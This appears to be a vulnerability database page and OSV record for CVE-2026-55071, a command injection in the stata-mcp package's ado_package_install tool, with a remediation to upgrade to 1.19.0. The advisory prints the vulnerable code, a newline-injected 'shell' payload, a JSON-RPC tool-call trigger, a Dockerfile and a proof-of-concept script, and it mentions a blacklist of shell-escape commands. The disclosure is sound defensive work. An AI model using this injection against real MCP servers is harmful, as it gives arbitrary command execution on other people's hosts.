Vulnerabilities in pkg:pypi/stata-mcp
PACKAGECVE-2026-55071 is a HIGH (CVSS 8.4) stata command injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting MCP-for-Stata libraries in the PyPI ecosystem. The issue involves stata command injection via unsanitized `package` in `ado_package_install`. Remediation is available by upgrading affected packages to version 1.19.0.
pkg:pypi/stata-mcp
Vulnerability advisories affecting package pkg:pypi/stata-mcp. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-49m4-vp58-wgc9 | CVE-2026-55071 | HIGH | MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install` |
| GHSA-4p62-hqp5-g644 | CVE-2026-47708 | CRITICAL | MCP-for-Stata: Command injection via log_file_name parameter in Stata command wrapper |
| GHSA-jpcj-7wfg-mqxv | CVE-2026-31040 | HIGH | stata-mcp has insufficient validation of user-supplied Stata do-file content that can lead to command execution |
CVE-2026-55071 at a Glance
Security Impact
CVSS: 8.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-55071
To remediate this vulnerability, upgrade all affected MCP-for-Stata dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install stata-mcp>=1.19.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show stata-mcp
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-55071, inspect your installed packages using pip:
pip show stata-mcp
Analyze the terminal output to locate any version of MCP-for-Stata in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.0), your application is affected.
Note: The pip show stata-mcp command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In MCP-for-Stata, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-55071 Affected MCP-for-Stata Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
stata-mcp
|
PyPI |
< 1.19.0
|
1.19.0
|
References
Frequently Asked Questions
What is CVE-2026-55071?
Which MCP-for-Stata versions are affected?
What version fixes CVE-2026-55071?
Is stata-mcp affected?
What is the CVSS score of CVE-2026-55071?
What CWE is associated with CVE-2026-55071?
How can I check PyPI dependencies for CVE-2026-55071?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-49m4-vp58-wgc9",
"modified" : "2026-08-12T19:23:38Z",
"published" : "2026-08-12T19:23:38Z",
"aliases" : [ "CVE-2026-55071" ],
"summary" : "MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`",
"details" : "## Stata Command Injection via Unsanitized `package` in `ado_package_install`\n\n### Summary\n\nThe `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is **8.4 (High)**.\n\n### Details\n\nThe vulnerability originates in `SSC_Install.install()`:\n\n```python\n# src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16\ndef install(self, package: str) -> str:\n install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n runner_result = self.controller.run(install_command)\n```\n\nThe `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:\n\n```python\n# src/stata_mcp/stata/stata_controller/controller.py:98-99\n# Send the command\nself.child.sendline(command)\n```\n\n`pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution.\n\nThe full source-to-sink data flow is:\n\n1. **Exposure** — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile.\n2. **Default activation** — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled.\n3. **Propagation** — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation.\n4. **Sink construction** — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`.\n5. **Delivery** — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata.\n\nA guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked **only** on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.\n\n### PoC\n\n**Prerequisites**\n\n- Unix-like host with a configured Stata CLI, **or** use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command.\n\n**Container-based reproduction (no Stata license required)**\n\n```bash\n# Build (run from the repository root)\ndocker build -t stata-mcp-poc-001 \\\n -f vuln-001/Dockerfile \\\n reports/pypiAi_828_SepineTam__stata-mcp/\n\n# Run\ndocker run --rm stata-mcp-poc-001\n```\n\n**Direct Python trigger (unmodified source)**\n\n```python\nimport os\nfrom stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\nMARKER = \"/tmp/stata_mcp_ado_poc\"\nPAYLOAD = f\"outreg2\\nshell touch {MARKER}\\n//\"\n\ninstaller = SSC_Install(\"/usr/local/bin/stata\", is_replace=True, timeout=10)\ninstaller.install(PAYLOAD)\n\nassert os.path.exists(MARKER), \"RCE not confirmed\"\nprint(\"RCE CONFIRMED — marker file created\")\n```\n\nThe payload `\"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\"` is expanded by the f-string at `ssc_install.py:15` into:\n\n```\nssc install outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//, replace\n```\n\nStata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error.\n\n**MCP JSON-RPC trigger**\n\n```json\n{\n \"tool\": \"ado_package_install\",\n \"arguments\": {\n \"source\": \"ssc\",\n \"package\": \"outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//\",\n \"is_replace\": true\n }\n}\n```\n\n**Expected output**\n\n```\n[+] PASS - RCE CONFIRMED\n[+] Marker file exists: /tmp/stata_mcp_ado_poc\n[+] The injected Stata 'shell' command was executed by the REPL.\n```\n\nPhase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command:\n\n```\nInstallation State: False\nssc install outreg2\\r\\nshell touch /tmp/stata_mcp_ado_poc\\r\\n//, replace\n```\n\n### Impact\n\nThis is a **Code/Command Injection (RCE)** vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.\n\nBecause the tool is registered in the default `all` profile and `all` is the default active profile, **no misconfiguration by the victim is required**. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted.\n\nConcrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n# Build context must be the parent directory:\n# docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .\n#\n# Vulnerability: Stata Command Injection via unsanitized `package` in\n# SSC_Install.install() (ssc_install.py:15).\n#\n# Strategy: replace the real Stata binary with a minimal Python script\n# (fake_stata.py) that honours the 'shell <cmd>' Stata command.\n# The vulnerable stata-mcp code is installed unmodified from the repo.\n\nFROM python:3.11-slim\n\n# Install pexpect -- the only runtime dependency required by the PoC\n# (StataController imports pexpect; all other imports are stdlib-only).\nRUN pip install --no-cache-dir pexpect==4.9.0\n\n# ------------------------------------------------------------------\n# Fake Stata binary\n# ------------------------------------------------------------------\n# Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover\n# it and the PoC can reference it by absolute path.\nCOPY vuln-001/fake_stata.py /usr/local/bin/stata\nRUN chmod +x /usr/local/bin/stata\n\n# ------------------------------------------------------------------\n# Vulnerable package (unmodified source)\n# ------------------------------------------------------------------\nCOPY repo/src /workspace/src\nENV PYTHONPATH=/workspace/src\n\n# ------------------------------------------------------------------\n# PoC script\n# ------------------------------------------------------------------\nCOPY vuln-001/poc.py /workspace/poc.py\n\nWORKDIR /workspace\nCMD [\"python3\", \"/workspace/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Stata Command Injection via unsanitized `package` in\n`ado_package_install` (SSC path).\n\nVulnerable code:\n ssc_install.py:15\n install_command = f\"ssc install {package}{self.REPLACE_MESSAGE}\"\n controller.py:99\n self.child.sendline(command)\n\nAttack: embed a newline in `package` to inject an additional Stata command.\n package = \"outreg2\\\\nshell touch /tmp/stata_mcp_ado_poc\\\\n//\"\n\nThe constructed command string becomes:\n ssc install outreg2\n shell touch /tmp/stata_mcp_ado_poc\n //, replace\n\npexpect delivers this multi-line string verbatim to the Stata REPL via\nsendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',\nwhich runs the OS command 'touch /tmp/stata_mcp_ado_poc'.\n\nMarker file creation confirms RCE.\n\"\"\"\nimport os\nimport sys\n\nFAKE_STATA = \"/usr/local/bin/stata\"\nMARKER_FILE = \"/tmp/stata_mcp_ado_poc\"\n# Payload: legit package name, then injected shell command, then comment to\n# neutralise the \", replace\" suffix appended by REPLACE_MESSAGE.\nPAYLOAD = f\"outreg2\\nshell touch {MARKER_FILE}\\n//\"\n\n\ndef main() -> int:\n print(\"=\" * 60)\n print(\"VULN-001 PoC: Stata Command Injection via ado_package_install\")\n print(\"=\" * 60)\n print(f\"[*] Fake Stata binary : {FAKE_STATA}\")\n print(f\"[*] Marker file : {MARKER_FILE}\")\n print(f\"[*] Payload (repr) : {PAYLOAD!r}\")\n print()\n\n # Clean up any previous run.\n if os.path.exists(MARKER_FILE):\n os.remove(MARKER_FILE)\n print(f\"[*] Removed pre-existing marker file.\")\n\n # Import the vulnerable class directly -- no MCP or config layer needed.\n # The vulnerability lives entirely in SSC_Install.install() and the\n # StataController that sends the command to the Stata REPL.\n from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install\n\n print(\"[*] Instantiating SSC_Install with fake Stata binary...\")\n installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10)\n\n print(f\"[*] Calling install({PAYLOAD!r}) ...\")\n try:\n result = installer.install(PAYLOAD)\n print(f\"[*] install() returned: {result[:200]!r}\")\n except Exception as exc:\n # A RuntimeError from StataController is acceptable; the shell command\n # may have already executed before the error is detected.\n print(f\"[!] install() raised (may be expected): {type(exc).__name__}: {exc}\")\n\n print()\n\n # --- Verdict ---\n if os.path.exists(MARKER_FILE):\n print(\"[+] PASS - RCE CONFIRMED\")\n print(f\"[+] Marker file exists: {MARKER_FILE}\")\n print(\"[+] The injected Stata 'shell' command was executed by the REPL.\")\n print(\"[+] Constructed command delivered via sendline():\")\n print(\"[+] ssc install outreg2\")\n print(f\"[+] shell touch {MARKER_FILE} <-- OS command executed here\")\n print(\"[+] //\")\n return 0\n else:\n print(\"[-] FAIL - Marker file not found.\")\n print(\"[-] The injected shell command did not produce the expected artefact.\")\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "stata-mcp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.19.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SepineTam/mcp-for-stata/security/advisories/GHSA-49m4-vp58-wgc9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SepineTam/mcp-for-stata"
}, {
"type" : "WEB",
"url" : "https://github.com/SepineTam/mcp-for-stata/releases/tag/v1.19.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-12T19:23:38Z",
"nvd_published_at" : null
}
}